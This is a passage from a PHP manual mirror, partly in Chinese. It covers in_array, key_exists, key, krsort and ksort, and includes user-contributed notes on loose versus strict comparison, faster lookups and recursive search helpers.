               array ("A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M",
                          "N", "?", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X",
                          "Y",  "Z", " ", "á", "é", "í", "ó", "ú", "ü", "-");

        $correcto = true;

        // ?La cadena está vacía?
        if (empty ($cadena))
        {
            $correcto = false;
        }
        else
        {
            $nombreOapellido = mb_strtoupper ($cadena, "utf-8");
            $longitudCadena = mb_strlen ($cadena, "utf-8");

            for ($i = 0; ($i < $longitudCadena) && $correcto; $i++)
            {
                if (!in_array ($nombreOapellido [$i],
                                     $caracteresPermitidos))
                {
                    // Se ha encontrado un carácter no permitido
                    $correcto = false;
                }
            }
        }
            return $correcto;
     }
matthew dot scott dot day at gmail dot com 16-Nov-2017 12:12
var_dump(in_array(0, ['hello', 'world']));

returns true

var_dump(in_array(0, ['hello', 'world'], true));

returns false

Just posting this in case anyone else comes across 0 returning true for in_array
Geoffrey Hoffman 04-Aug-2017 04:00
Be careful to use the strict parameter with truth comparisons of specific strings like "false":

<?php

$truthy = [true, 'true', 1, '1', 'y', 'Y', 'yes', 'YES'];

if (in_array('false', $truthy)) {
   echo "False is truthy.\n";
} else {
   echo "False is not truthy.\n";
}

if (in_array('false', $truthy, true)) {
    echo "False is truthy.\n";
} else {
    echo "False is not truthy.\n";
}

?>

The above example prints:

False is truthy.
False is not truthy.
stocki dot r at gmail dot com 02-Jun-2017 02:56
Add an extra if() to adrian foeder's comment to make it work properly:

<?php
    ...
    if (!@$ret) {
        $ret = rec_in_array($needle, $element, $alsokeys);
    }
    ...
?>

So this will work, too:

<?php
    $array = array(
        array('a', 'b'),
        array('c', 'd')
    );
    var_dump(rec_in_array('a', $array));
?>
php at koman dot com dot au 20-Jan-2017 05:12
The parameter section of this page states :-

   strict
      If the third parameter strict is set to TRUE then the in_array() function will also check the types of the needle in the haystack.

I think a better explanation would be :-

   strict

      If the third parameter, strict, is set to TRUE, then the in_array() function will do a strict comparison of values and types between the needle and haystack.

      The default setting for the third parameter, strict, is FALSE, here the in_array() function will do type juggling in an attempt to match a value when a type is not the same between the needle and haystack.
rhuan at rhuan dot com dot br 31-Dec-2016 11:29
This code will search for a value in a multidimensional array with strings or numbers on keys.

function in_multiarray($elem, $array)
{
    while (current($array) !== false) {
        if (current($array) == $elem) {
            return true;
        } elseif (is_array(current($array))) {
            if (in_multiarray($elem, current($array))) {
                return true;
            }
        }
        next($array);
    }
    return false;
}
hoopyfroop at yahoo dot com 11-Nov-2016 02:14
If you search for numbers, in_array will convert any strings in your array to numbers, dropping any letters/characters, forcing a numbers-to-numbers comparison. So if you search for 1234, it will say that '1234abcd' is a match.  Example:

<?php
$test_array = array('test', '1234abcd');
if (in_array(1234, $test_array)) {
    echo '1234 is a match!';
}
?>
tjamadeira at gmail dot com 29-Jan-2016 07:17
This function is for search a needle in a multidimensional haystack:

<?php
/**
 * A special function for search in a multidimensional array a needle
 *
 * @param mixed needle The searched variable
 * @param array haystack The array where search
 * @param bool strict It is or it isn't a strict search?
 *
 * @return bool
 **/
function in_array_r($needle, $haystack, $strict = false){
 foreach($haystack as $item){
   if(is_array($item)){
     if(in_array_r($needle, $item, $strict)){
       return true;
     }
   }else{
     if(($strict ? $needle === $item : $needle == $item)){
       return true;
     }
   }
 }
 return false;
}
?>
splogamurugan at gmail dot com 06-Nov-2015 11:49
var_dump(in_array('invalid', array(0,10,20)));
The above code gives true since the 'invalid' is getting converted to 0 and checked against the array(0,10,20)

but var_dump(in_array('invalid', array(10,20)));  gives 'false' since 0 not there in the array
dazero0 dot ls at gmail dot com 24-Sep-2015 10:43
I would like to add something to beingmrkenny at gmail dot com comparison post. After debugging a system, i discovered a security issue in our system and his post helped me find the problem.

In my additional testing i found out that not matter what you search for in an array, except for 0 and null, you get true as the result if the array contains true as the value.

Examples as php code :

<?php
$a = ['a', 32, true, 'x' => y];
var_dump(in_array(25, $a)); // true, one would expect false
var_dump(in_array('ggg', $a)); // true, one would expect false

var_dump(in_array(0, $a)); // false
var_dump(in_array(null, $a)); // false
?>

Such the best practice in our case is to use strict mode. Which was not so obvious.
Harry Willis 24-Jan-2015 11:39
Kelvin's case-insensitive in_arrayi is fine if you desire loose typing, but mapping strtolower onto the array will (attempt to) cast all array members to string. If you have an array of mixed types, and you wish to preserve the typing, the following will work:

<?php
function in_array_ci($needle, array $haystack, $strict = false) {
    foreach ($haystack as $element) {
        if (gettype($needle) == 'string' && gettype($element) == 'string') {
            if (!strcasecmp($needle, $element)) {
                return true;
            }
        }
        elseif ($strict) {
            if ($needle === $element) {
                return true;
            }
        }
        else {
            if ($needle == $element) {
                return true;
            }
        }
    }

    return false;
}
?>
i dot pinz1 at gmail dot com 15-May-2014 11:33
I have noted some strange behavior of the in_array() function if you have a hash like
$haystack=array (
'123'=>'some value',
'0125'=>'some value');

If I test now:
if (in_array('23',$haystack)) // here also TRUE is returned

I switched instead to
if(isset($haystack['23'])) // which return correct FALSE

Maybe this helps others too.
what loose checking means 20-Jan-2014 05:03
In a high-voted example, an array is given that contains, amongst other things, true, false and null, against which various variables are tested using in_array and loose checking.

It impossible to receive false as a return value from in_array using loose checking if your arrays contains both the constants true and false. You might understandably trip over this (or the inverse - passing boolean true to check against an array of e.g. non-empty strings), but it's certainly not counter intuitive and makes perfect sense.
rolf dot dergham dot public at gmail dot com 13-Jan-2014 01:02
Watch out for this:

<?

print_r( (int) in_array('hello',array( 0 => 0)) );

?>

returns 1

Yes, it seems that is_array thinks that a random string and 0 are the same thing.
Excuse me, that's not loose checking, that's drunken logic.
Or maybe I found a bug?
santi dot morel at gmail dot com 22-May-2013 09:43
search in multidimensional array

    function in_multiarray($elem, $array) {
        foreach ($array as $key => $value) {
            if ($value==$elem){
                return true;
            }
            elseif(is_array($value)){
                if($this->in_multiarray($elem, $value))
                        return true;
            }
        }

        return false;
    }
Valerchik 13-May-2013 07:30
Beware when using this function to validate user input:

$a = array('0' => 'Opt 1', '1' => 'Opt 2', '2' => 'Opt 3');
$v = 'sql injection';
var_dump(in_array($v, array_keys($a)));

This will result : true;

array_keys($a) will cast array keys to int instead of string !
then when in_array will compare it will cast  'sql injection' to int 0 !
Beware of this!
justinjohnmathews at gmail dot com 05-Mar-2013 01:34
I think, "in_array" can be used with "range" function to check a number(dynamic value) is in between of other two numbers.

<?php
    $i = 5; // Dynamic value
    if (in_array(range(1, 10), $i)) {
       echo 'Your number is in between of range array';
    }
?>
janis dot janovskis at gmail dot com 28-Feb-2012 11:03
Since sometimes in_array returns strange results - see notes above.
I was able to find value in array by this quite a simple function;
<?php
/**
* $find <mixed> value to find
* $array<array> array to search in
*/

function _value_in_array($array, $find){
 $exists = FALSE;
 if(!is_array($array)){
   return;
}
foreach ($array as $key => $value) {
  if($find == $value){
       $exists = TRUE;
  }
}
  return $exists;
}

// Note
// You can't use wildcards and it does not check variable type
?>
rajeevroy15 at gmail dot com dot com 30-Nov-2011 04:51
is_array function checks only array only and giving incorrect result with multi-dimensional arrays.

Here is a custom function which will give the solution to check Array or Object and Checking of multi-dimensional arrays and objects as well.

<?php

function in_object($val, $obj){

    if($val == ""){
        trigger_error("in_object expects parameter 1 must not empty", E_USER_WARNING);
        return false;
    }
    if(!is_object($obj)){
        $obj = (object)$obj;
    }

    foreach($obj as $key => $value){
        if(!is_object($value) && !is_array($value)){
            if($value == $val){
                return true;
            }
        }else{
            return in_object($val, $value);
        }
    }
    return false;
}
?>
Usage  :
<?php

$array = array("a", "b", "c"=>array("x", "y"=>array("p", "q"=>"r")));

if(in_object("r", $arrX)){
    echo "r is there ";
}else{
    echo "Its not there ";
}
?>
beingmrkenny at gmail dot com 27-Oct-2011 03:35
Loose checking returns some crazy, counter-intuitive results when used with certain arrays. It is completely correct behaviour, due to PHP's leniency on variable types, but in "real-life" is almost useless.

The solution is to use the strict checking option.

<?php

// Example array

$array = array(
    'egg' => true,
    'cheese' => false,
    'hair' => 765,
    'goblins' => null,
    'ogres' => 'no ogres allowed in this array'
);

// Loose checking -- return values are in comments

// First three make sense, last four do not

in_array(null, $array); // true
in_array(false, $array); // true
in_array(765, $array); // true
in_array(763, $array); // true
in_array('egg', $array); // true
in_array('hhh', $array); // true
in_array(array(), $array); // true

// Strict checking

in_array(null, $array, true); // true
in_array(false, $array, true); // true
in_array(765, $array, true); // true
in_array(763, $array, true); // false
in_array('egg', $array, true); // false
in_array('hhh', $array, true); // false
in_array(array(), $array, true); // false

?>
Lea Hayes 04-Aug-2011 05:40
Determine whether an object field matches needle.

Usage Example:
---------------

<?php
$arr = array( new stdClass(), new stdClass() );
$arr[0]->colour = 'red';
$arr[1]->colour = 'green';
$arr[1]->state  = 'enabled';

if (in_array_field('red', 'colour', $arr))
   echo 'Item exists with colour red.';
if (in_array_field('magenta', 'colour', $arr))
   echo 'Item exists with colour magenta.';
if (in_array_field('enabled', 'state', $arr))
   echo 'Item exists with enabled state.';
?>

Output:
--------
Item exists with colour red.
Item exists with enabled state.

<?php
function in_array_field($needle, $needle_field, $haystack, $strict = false) {
    if ($strict) {
        foreach ($haystack as $item)
            if (isset($item->$needle_field) && $item->$needle_field === $needle)
                return true;
    }
    else {
        foreach ($haystack as $item)
            if (isset($item->$needle_field) && $item->$needle_field == $needle)
                return true;
    }
    return false;
}
?>
Anonymous 18-Jun-2011 12:16
known issue
when checking a string vs a integer

$testarray = array(0,1,2,3,4);

in_array("bla", $a) returns true
in_array("bla6", $a) returns true
in_array("6bla", $a) returns false

"bla" as a integer value returns the number zero
"bla6" as a integer value returns the number zero
 "6bla" returns the number six as its the only vaild part of that

if you checking for unknown types eg string vs integer
then you would need the strict value to be true.
Joris Meijer 15-Feb-2011 05:31
A good option if your array contains objects and you wish to recursively search it (eg. with in_arrayr), is to use json_encode and json_decode first:

<?php

$array = json_decode(json_encode($array_with_objects), true);

?>

In my opinion this is more elegant than a recursive in_array function which converts the objects into arrays while searching for a key and/or value.
user at NOSPAM at fullservicead dot com 02-Feb-2011 08:52
After reading all other notes about performance,
I made a little test.

fill an array in a loop with random characters,
shuffle it
search on it using 4 methods.

I tried to have haystack as array and string; hence the strstr.

I tried it on 9, 99, 999, 9999 elements and the results
remain in the same order:

9999 elements

Function :  execution time in miliseconds.

strstr : 1.2994079589844
fast_in_array : 1.0655579566956
isset : 0.99128198623657 //Winner, used from another note here.
in_array : 2.9410798549652

One last detail, I moved my functions around in the script to make sure there was no memory caching, reiteration op or whatever, it's all the same. in_array is the slowest and the use of isset($array[$NEEDLE]) the fastest.

I hope it saves somebody else the trouble.
ctulek at gmail dot com 30-Aug-2010 11:07
If you have an array like:
$arr = array(0,1,2,3,4,5);

in_array(NULL, $arr) returns true because you have 0 in your array. That is, in_array does not use === for equal check.
Svinto 22-May-2010 11:53
in_array() will always return true if a value in the haystack is of type bool(true).
This always hold except when the needle is of type bool(false).

Code:
<?php
$haystack = array(true);
$needle = "anything except bool(false)";
$result = in_array($needle, $haystack);
var_dump($result); #Will always be true
?>

Solution:
run in_array() with strict set to true.
<?php
in_array($needle, $haystack, true);
?>

Tested on PHP 5.2.6
bogdan AT bogdanconstantinescu DOT com 21-Apr-2010 08:01
If you found yourself in need of a multidimensional array in_array like function you can use the one below. Works in a fair amount of time

<?php

    function in_multiarray($elem, $array)
    {
        $top = sizeof($array) - 1;
        $bottom = 0;
        while($bottom <= $top)
        {
            if($array[$bottom] == $elem)
                return true;
            else
                if(is_array($array[$bottom]))
                    if(in_multiarray($elem, ($array[$bottom])))
                        return true;

            $bottom++;
        }
        return false;
    }
?>
jv at vip dot ie 13-Feb-2010 04:46
If you're working with very large 2 dimensional arrays (eg 20,000+ elements) it's much faster to do this...

<?php
$needle = 'test for this';

$flipped_haystack = array_flip($haystack);

if ( isset($flipped_haystack[$needle]) )
{
  print "Yes it's there!";
}
?>

I had a script that went from 30+ seconds down to 2 seconds (when hunting through a 50,000 element array 50,000 times).

Remember to only flip it once at the beginning of your code though!
thomas dot sahlin at gmail dot com 05-Oct-2009 12:53
If you're creating an array yourself and then using in_array to search it, consider setting the keys of the array and using isset instead since it's much faster.

<?php

$slow = array('apple', 'banana', 'orange');

if (in_array('banana', $slow))
    print('Found it!');

$fast = array('apple' => 'apple', 'banana' => 'banana', 'orange' => 'orange');

if (isset($fast['banana']))
    print('Found it!');

?>
robin at robinnixon dot com 25-Jul-2009 12:38
This function is five times faster than in_array(). It uses a binary search and should be able to be used as a direct replacement:

<?php
function fast_in_array($elem, $array)
{
   $top = sizeof($array) -1;
   $bot = 0;

   while($top >= $bot)
   {
      $p = floor(($top + $bot) / 2);
      if ($array[$p] < $elem) $bot = $p + 1;
      elseif ($array[$p] > $elem) $top = $p - 1;
      else return TRUE;
   }

   return FALSE;
}
?>
john at dwarven dot co dot uk 01-Jul-2009 04:34
I just struggled for a while with this, although it may be obvious to others.

If you have an array with mixed type content such as:

<?php

 $ary = array (
   1,
   "John",
   0,
   "Foo",
   "Bar"
 );

?>

be sure to use the strict checking when searching for a string in the array, or it will match on the 0 int in that array and give a true for all values of needle that are strings strings.

<?php

var_dump( in_array( 2, $ary ) );

// outputs FALSE

var_dump( in_array( 'Not in there', $ary ) );

// outputs TRUE

var_dump( in_array( 'Not in there', $ary, TRUE ) );

// outputs FALSE

?>
brouwer dot p at gmail dot com 08-Mar-2009 02:55
If made a in_array function that checks if the specified key matches. It works recursivly so it doesn't matter how deep your input array is.
<?php
  function myInArray($array, $value, $key){
    //loop through the array
    foreach ($array as $val) {
      //if $val is an array cal myInArray again with $val as array input
      if(is_array($val)){
        if(myInArray($val,$value,$key))
          return true;
      }
      //else check if the given key has $value as value
      else{
        if($array[$key]==$value)
          return true;
      }
    }
    return false;
  }
?>
Kelvin J 28-Feb-2009 05:04
For a case-insensitive in_array(), you can use array_map() to avoid a foreach statement, e.g.:

<?php
    function in_arrayi($needle, $haystack) {
        return in_array(strtolower($needle), array_map('strtolower', $haystack));
    }
?>
jordigirones at gmail dot com 21-Jan-2009 07:54
function similar to in_array but implements LIKE '<string>%'

<?php
   function in_array_like($referencia,$array){
      foreach($array as $ref){
        if (strstr($referencia,$ref)){
          return true;
        }
      }
      return false;
    }
?>
rhill at xenu-directory dot net 17-Jan-2009 01:05
I found out that in_array will *not* find an associative array within a haystack of associative arrays in strict mode if the keys were not generated in the *same order*:

<?php

$needle = array(
    'fruit'=>'banana', 'vegetable'=>'carrot'
    );

$haystack = array(
    array('vegetable'=>'carrot', 'fruit'=>'banana'),
    array('fruit'=>'apple', 'vegetable'=>'celery')
    );

echo in_array($needle, $haystack, true) ? 'true' : 'false';
// Output is 'false'

echo in_array($needle, $haystack) ? 'true' : 'false';
// Output is 'true'

?>

I had wrongly assumed the order of the items in an associative array were irrelevant, regardless of whether 'strict' is TRUE or FALSE: The order is irrelevant *only* if not in strict mode.
james dot randell at hotmail dot co dot uk 16-Sep-2008 02:54
Small method i built for my Array module, after looking through the manual I wanted a small compact way of making a wildcard search through an arrays values, and returning only those that it found.

<?php

    /**
     * Takes a needle and haystack (just like in_array()) and does a wildcard search on it's values.
     *
     * @param    string        $string        Needle to find
     * @param    array        $array        Haystack to look through
     * @result    array                    Returns the elements that the $string was found in
     */
    function find ($string, $array = array ())
    {
        foreach ($array as $key => $value) {
            unset ($array[$key]);
            if (strpos($value, $string) !== false) {
                $array[$key] = $value;
            }
        }
        return $array;
    }
?>
crashrox at gmail dot com 21-Jul-2008 08:34
Recursive in array using SPL

<?php
function in_array_recursive($needle, $haystack) {

    $it = new RecursiveIteratorIterator(new RecursiveArrayIterator($haystack));

    foreach($it AS $element) {
        if($element == $needle) {
            return true;
        }
    }

    return false;
}
?>
Martijn Wieringa 19-May-2008 02:20
When using numbers as needle, it gets tricky:

Note this behaviour (3rd statement):

in_array(0, array(42)) = FALSE
in_array(0, array('42')) = FALSE
in_array(0, array('Foo')) = TRUE
in_array('0', array('Foo')) = FALSE
sick949 at hotmail dot com 05-Mar-2008 03:43
A first idea for a function that checks if a text is in a specific column of an array.
It does not use in_array function because it doesn't check via columns.
Its a test, could be much better. Do not use it without test.

<?php

function in_array_column($text, $column, $array)
{
    if (!empty($array) && is_array($array))
    {
        for ($i=0; $i < count($array); $i++)
        {
            if ($array[$i][$column]==$text || strcmp($array[$i][$column],$text)==0) return true;
        }
    }
    return false;
}

?>
musik at krapplack dot de 04-Jun-2006 05:52
I needed a version of in_array() that supports wildcards in the haystack. Here it is:

<?php
function my_inArray($needle, $haystack) {
    # this function allows wildcards in the array to be searched
    foreach ($haystack as $value) {
        if (true === fnmatch($value, $needle)) {
            return true;
        }
    }
    return false;
}

$haystack = array('*krapplack.de');
$needle = 'www.krapplack.de';

echo my_inArray($needle, $haystack); # outputs "true"
?>

Unfortunately, fnmatch() is not available on Windows or other non-POSIX compliant systems.

Cheers,
Thomas
rick at fawo dot nl 08-Apr-2006 08:23
Here's another deep_in_array function, but this one has a case-insensitive option :)
<?
function deep_in_array($value, $array, $case_insensitive = false){
    foreach($array as $item){
        if(is_array($item)) $ret = deep_in_array($value, $item, $case_insensitive);
        else $ret = ($case_insensitive) ? strtolower($item)==$value : $item==$value;
        if($ret)return $ret;
    }
    return false;
}
?>
sandrejev at gmail dot com 22-Feb-2006 07:11
Sorry, that deep_in_array() was a bit broken.

<?php
function deep_in_array($value, $array) {
    foreach($array as $item) {
        if(!is_array($item)) {
            if ($item == $value) return true;
            else continue;
        }

        if(in_array($value, $item)) return true;
        else if(deep_in_array($value, $item)) return true;
    }
    return false;
}
?>
kitchin 05-Feb-2006 06:52
Here's a gotcha, and another reason to always use strict with this function.

$x= array('this');
$test= in_array(0, $x);
var_dump($test); // true

$x= array(0);
$test= in_array('that', $x);
var_dump($test); // true

$x= array('0');
$test= in_array('that', $x);
var_dump($test); // false

It's hard to think of a reason to use this function *without* strict.

This is important for validating user input from a set of allowed values, such as from a <select> tag.
adrian foeder 08-Nov-2005 01:21
hope this function may be useful to you, it checks an array recursively (if an array has sub-array-levels) and also the keys, if wanted:

<?php
function rec_in_array($needle, $haystack, $alsokeys=false)
    {
        if(!is_array($haystack)) return false;
        if(in_array($needle, $haystack) || ($alsokeys && in_array($needle, array_keys($haystack)) )) return true;
        else {
            foreach($haystack AS $element) {
                $ret = rec_in_array($needle, $element, $alsokeys);
            }
        }

        return $ret;
    }
?>
Aragorn5551 at gmx dot de 11-Jun-2005 05:26
If you have a multidimensional array filled only with Boolean values like me, you need to use 'strict', otherwise in_array() will return an unexpected result.

Example:

<?php
$error_arr = array('error_one' => FALSE, 'error_two' => FALSE, array('error_three' => FALSE, 'error_four' => FALSE));

if (in_array (TRUE, $error_arr)) {
   echo 'An error occurred';
}
else {
   echo 'No error occurred';
}
?>

This will return 'An error occurred' although theres no TRUE value inside the array in any dimension. With 'strict' the function will return the correct result 'No error occurred'.

Hope this helps somebody, cause it took me some time to figure this out.


别名 array_key_exists

  • ? in_array
  • key ?
  • PHP Manual
  • 数组 函数
  • 别名 array_key_exists

key_exists

(PHP 4 >= 4.0.6, PHP 5, PHP 7)

key_exists — 别名 array_key_exists()

说明

此函数是该函数的别名： array_key_exists().

User Contributed Notes

There are no user contributed notes for this page.


从关联数组中取得键名

  • ? key_exists
  • krsort ?
  • PHP Manual
  • 数组 函数
  • 从关联数组中取得键名

key

(PHP 4, PHP 5, PHP 7)

key — 从关联数组中取得键名

说明

key ( array $array ) : mixed

key() 返回数组中当前单元的键名。

参数

array

该数组。

返回值

key() 函数返回数组中内部指针指向的当前单元的键名。 但它不会移动指针。如果内部指针超过了元素列表尾部，或者数组是空的，key() 会返回 NULL。

更新日志

版本 | 说明
7.0.0 | array 现在总是会传值。 在此之前，它会尽可能传引用，否则就传值。

范例

Example #1 key() 例子

<?php
$array = array(
    'fruit1' => 'apple',
    'fruit2' => 'orange',
    'fruit3' => 'grape',
    'fruit4' => 'apple',
    'fruit5' => 'apple');

// this cycle echoes all associative array
// key where value equals "apple"
while ($fruit_name = current($array)) {
    if ($fruit_name == 'apple') {
        echo key($array).'<br />';
    }
    next($array);
}
?>

以上例程会输出：

fruit1<br />
fruit4<br />
fruit5<br />

参见

  • current() - 返回数组中的当前单元
  • next() - 将数组中的内部指针向前移动一位
  • foreach

User Contributed Notes

danielmadsv at gmail dot com 24-Mar-2019 01:07
In addition to FatBat's response, if you'd like to find out the highest key in an array (assoc or not) but don't want to arsort() it, take a look at this:

<?php

$arr = [ '3' => 14, '1' => 15, '4' => 92, '15' => 65 ];

$key_of_max = array_search( max($arr) , $arr);

?>
lhardie 23-Apr-2014 04:05
Note that using key($array) in a foreach loop may have unexpected results.

When requiring the key inside a foreach loop, you should use:
foreach($array as $key => $value)

I was incorrectly using:
<?php
foreach($array as $value)
{
  $mykey = key($array);
}
?>

and experiencing errors (the pointer of the array is already moved to the next item, so instead of getting the key for $value, you will get the key to the next value in the array)

CORRECT:
<?php
foreach($array as $key => $value)
{
  $mykey = $key;
}

A noob error, but felt it might help someone else out there.
vinob44 at gmail dot com 23-Oct-2013 11:43
Suppose if the array values are in numbers and numbers contains `0` then the loop will be terminated. To overcome this you can user like this

<?php
$array = array(
    '0' => '5',
    '1' => '2',
    '2' => '0',
    '3' => '3',
    '4' => '1');

// wrong approach

while ($fruit_name = current($array)) {

        echo key($array).'<br />';
       next($array);
}

// the way will be break loop when arra('2'=>0) because its value is '0', while(0) will terminate the loop

// correct approach
while ( ($fruit_name = current($array)) !== FALSE ) {

        echo key($array).'<br />';
       next($array);
}
//this will work properly
?>
FatBat 17-Oct-2011 12:20
Needed to get the index of the max/highest value in an assoc array.
max() only returned the value, no index, so I did this instead.

<?php
reset($x);   // optional.
arsort($x);
$key_of_max = key($x);   // returns the index.
?>


对数组按照键名逆向排序

  • ? key
  • ksort ?
  • PHP Manual
  • 数组 函数
  • 对数组按照键名逆向排序

krsort

(PHP 4, PHP 5, PHP 7)

krsort — 对数组按照键名逆向排序

说明

krsort ( array &$array [, int $sort_flags = SORT_REGULAR ] ) : bool

对数组按照键名逆向排序，保留键名到数据的关联。主要用于结合数组。

参数

array

输入的数组。

sort_flags

可以用可选参数 sort_flags 改变排序的行为，详情见 sort()。

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

范例

Example #1 krsort() 例子

<?php
$fruits = array("d"=>"lemon", "a"=>"orange", "b"=>"banana", "c"=>"apple");
krsort($fruits);
foreach ($fruits as $key => $val) {
    echo "$key = $val\n";
}
?>

以上例程会输出：

d = lemon
c = apple
b = banana
a = orange

参见

  • arsort() - 对数组进行逆向排序并保持索引关系
  • ksort() - 对数组按照键名排序
  • 数组排序函数对比

User Contributed Notes

07-Aug-2005 06:37
To create a natural reverse sorting by keys, use the following function:

<?php
function natkrsort($array)
{
    $keys = array_keys($array);
    natsort($keys);

    foreach ($keys as $k)
    {
        $new_array[$k] = $array[$k];
    }

    $new_array = array_reverse($new_array, true);

    return $new_array;
}
?>
peter at pmkmedia dot com 07-Nov-2003 01:51
Best deal sorting:

This is a function that will sort an array with integer keys (weight) and float values (cost) and delete 'bad deals' - entries that are more costly than other entries that have greater or equal weight.

Input: an array of unsorted weight/cost pairs
Output: none

function BEST_DEALS($myarray)
{   // most weight for least cost:
    // ? Peter Kionga-Kamau, http://www.pmkmedia.com
    // thanks to Nafeh for the reversal trick
    // free for unrestricted use.
    krsort($myarray, SORT_NUMERIC);
    while(list($weight, $cost) = each($myarray))
    {   // delete bad deals, retain best deals:
        if(!$lastweight)
        {
            $lastweight=$weight;
            $lastcost = $cost;
        }
        else if($cost >= $lastcost) unset($myarray[$weight]);
        else
        {
            $lastweight=$weight;
            $lastcost = $cost;
        }
    }
    ksort($myarray);
}


对数组按照键名排序

  • ? krsort
  • list ?
  • PHP Manual
  • 数组 函数
  • 对数组按照键名排序

ksort

(PHP 4, PHP 5, PHP 7)

ksort — 对数组按照键名排序

说明

ksort ( array &$array [, int $sort_flags = SORT_REGULAR ] ) : bool

对数组按照键名排序，保留键名到数据的关联。本函数主要用于关联数组。

参数

array

输入的数组。

sort_flags

可以用可选参数 sort_flags 改变排序的行为，详情见 sort()。

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

范例

Example #1 ksort() 例子

<?php
$fruits = array("d"=>"lemon", "a"=>"orange", "b"=>"banana", "c"=>"apple");
ksort($fruits);
foreach ($fruits as $key => $val) {
    echo "$key = $val\n";
}
?>

以上例程会输出：

a = orange
b = banana
c = apple
d = lemon

参见

  • asort() - 对数组进行排序并保持索引关系
  • 数组排序函数对比

User Contributed Notes

orlov0562 at gmail dot com 07-Jul-2017 01:13
The first thing that I didn't find in description it's that this function return results from MIN value to MAX value, ex: [-5=>'', 0=>'', 5=>'' ]

Also you should know that by default, it has correct sorting for keys that represented as string but has a number as value, ex: ['-5'=>'', '0'=>'', '5'=>'' ]

Few examples with results:

-----------------------------------------

DESCRIPTION: Keys are numbers + default flag (SORT_REGULAR)

$arr = [
    -5 => 'minus five',
    0 => 'zero',
    1 => 'one',
    2 => 'two',
    100 => 'hundred',
];

ksort($arr);
print_r($arr);

RESULT:

Array
(
    [-5] => minus five
    [0] => zero
    [1] => one
    [2] => two
    [100] => hundred
)

-----------------------------------------
DESCRIPTION: Keys are string numbers + default flag (SORT_REGULAR)

$arr = [
    '-5' => 'minus five',
    '0' => 'zero',
    '1' => 'one',
    '2' => 'two',
    '100' => 'hundred',
];

ksort($arr);
print_r($arr);

RESULT:

Array
(
    [-5] => minus five
    [0] => zero
    [1] => one
    [2] => two
    [100] => hundred
)

-----------------------------------------
DESCRIPTION: Keys are string numbers + SORT_STRING flag

$arr = [
    '-5' => 'minus five',
    '0' => 'zero',
    '1' => 'one',
    '2' => 'two',
    '100' => 'hundred',
];

ksort($arr, SORT_STRING);
print_r($arr);

RESULT:

Array
(
    [-5] => minus five
    [0] => zero
    [1] => one
    [100] => hundred
    [2] => two
)

-----------------------------------------

DESCRIPTION: Keys are string numbers + SORT_NUMERIC flag

$arr = [
    '-5' => 'minus five',
    '0' => 'zero',
    '1' => 'one',
    '2' => 'two',
    '100' => 'hundred',
];

ksort($arr, SORT_NUMERIC);
print_r($arr);

RESULT:

Array
(
    [-5] => minus five
    [0] => zero
    [1] => one
    [2] => two
    [100] => hundred
)
bimal at sanjaal dot com 26-May-2014 07:33
An example of reverse sorting a domain name by its name.

<?php
$domains = array(
    'sub.domain.com',
    'sub2.domain.com',
);

foreach($domains as $d => $domain)
{
    $chunks = explode('.', $domain);
    krsort($chunks);

    echo "\r\n<br>", implode('/', $chunks);
}

/**
 * Outputs as:
 *
 * com/domain/sub
 * com/domain/sub2
 */
?>
Anonymous 10-Feb-2014 05:43
@thegrandoverseer

you could also use the build-in php array functions to get exactly what you want to have:

<?php
        $seed_array = array('foo'=>'bar', 'someotherkey'=>'whatev', 'bar'=>'baz', 'baz'=>'foo', 'anotherkey'=>'anotherval');
        $keys_array = array('baz', 'foo', 'bar');

        $return_array = array_intersect_key($seed_array, array_flip($keys_array)) + array_diff_key($seed_array, array_flip($keys_array));

?>
Anonymous 13-Aug-2013 01:11
Note that this function will output the given $fields in the order they were added to the data array and not automatically in numerical key order.

To output in ascending key order, you'll need to ksort the array first (or use appropriate natural order sorting, depending on your keys).

For example:
<?php
$data[2] = 'C';
$data[0] = 'A';
$data[1] = 'B';

fputcsv($fh, $data); // outputs: "C,A,B"

ksort($data);
fputcsv($fh, $data); // outputs: "A,B,C"
?>
centraleffects at yahoo dot com 06-Jun-2013 05:46
I wrote this function to sort meta_value in wordpress. I tried a lot of array sorting but neither of them work. But this is not suitable for multidimensional array. This is intended only for wordpress meta_value

The problem is to sort below( the order should be ascending; alphabetically then numerically like A-Z then 0-9):
500-999 users
25-49 users
 All Sizes
1-4 users
5-9 users
10-24 users
250-499 users
1000-4999
5000-9999

The solution:

function array_sort($arr){
    if(is_array($arr)){
        $numeric = array();
        $string = array();
        foreach($arr as $k => $v)
        {
            if(isset($v["meta_value"])){
                 $str = explode(" ",trim($v["meta_value"]));
                 $firstWord  = explode("-",trim($str[0]));
             }else{
                 $str = $v;
                 $firstWord  = explode("-",trim($str));
             }

            $firstWord = $firstWord[0];

            if(is_numeric($firstWord))
            {
                $numeric[(int)$firstWord] = $v;
            }else{
                $string[$firstWord] = $v;
            }
            unset($firstWord);
        }
        ksort($string,SORT_STRING);
        ksort($numeric,SORT_NUMERIC);

        return array_merge((array)$string, (array)$numeric);
    }

    return false;
}

The usage:
$meta =get_post_meta($post_id,$meta_key);
$sorted = array_sort($meta);

The result:
 All Sizes
1-4 users
5-9 users
10-24 users
25-49 users
250-499 users
500-999 users
1000-4999
5000-9999
stephen [ at ] brooksie-net [ dot ] co [ dot ] uk 17-Apr-2013 05:10
ksort and krsort fail to undestand scientific notation, https://bugs.php.net/bug.php?id=43053, therefore when sorting numeric keys, if the key is of the form 0.00001 php will represent it as 1.0E-5.

These methods will assume this to be a string and therefore not organise your array as you may expect.

When using value of this form for array keys use sprintf('%f', 0.00001) to generate the key, for smaller values the precision needs to be included
e.g. sprintf('%0.10f', 0.00000001)
thegrandoverseer 13-Jul-2012 06:11
I wrote this function to sort the keys of an array using an array of keynames, in order.
<?php
/**
 * function array_reorder_keys
 * reorder the keys of an array in order of specified keynames; all other nodes not in $keynames will come after last $keyname, in normal array order
 * @param array &$array - the array to reorder
 * @param mixed $keynames - a csv or array of keynames, in the order that keys should be reordered
 */
function array_reorder_keys(&$array, $keynames){
    if(empty($array) || !is_array($array) || empty($keynames)) return;
    if(!is_array($keynames)) $keynames = explode(',',$keynames);
    if(!empty($keynames)) $keynames = array_reverse($keynames);
    foreach($keynames as $n){
        if(array_key_exists($n, $array)){
            $newarray = array($n=>$array[$n]); //copy the node before unsetting
            unset($array[$n]); //remove the node
            $array = $newarray + array_filter($array); //combine copy with filtered array
        }
    }
}
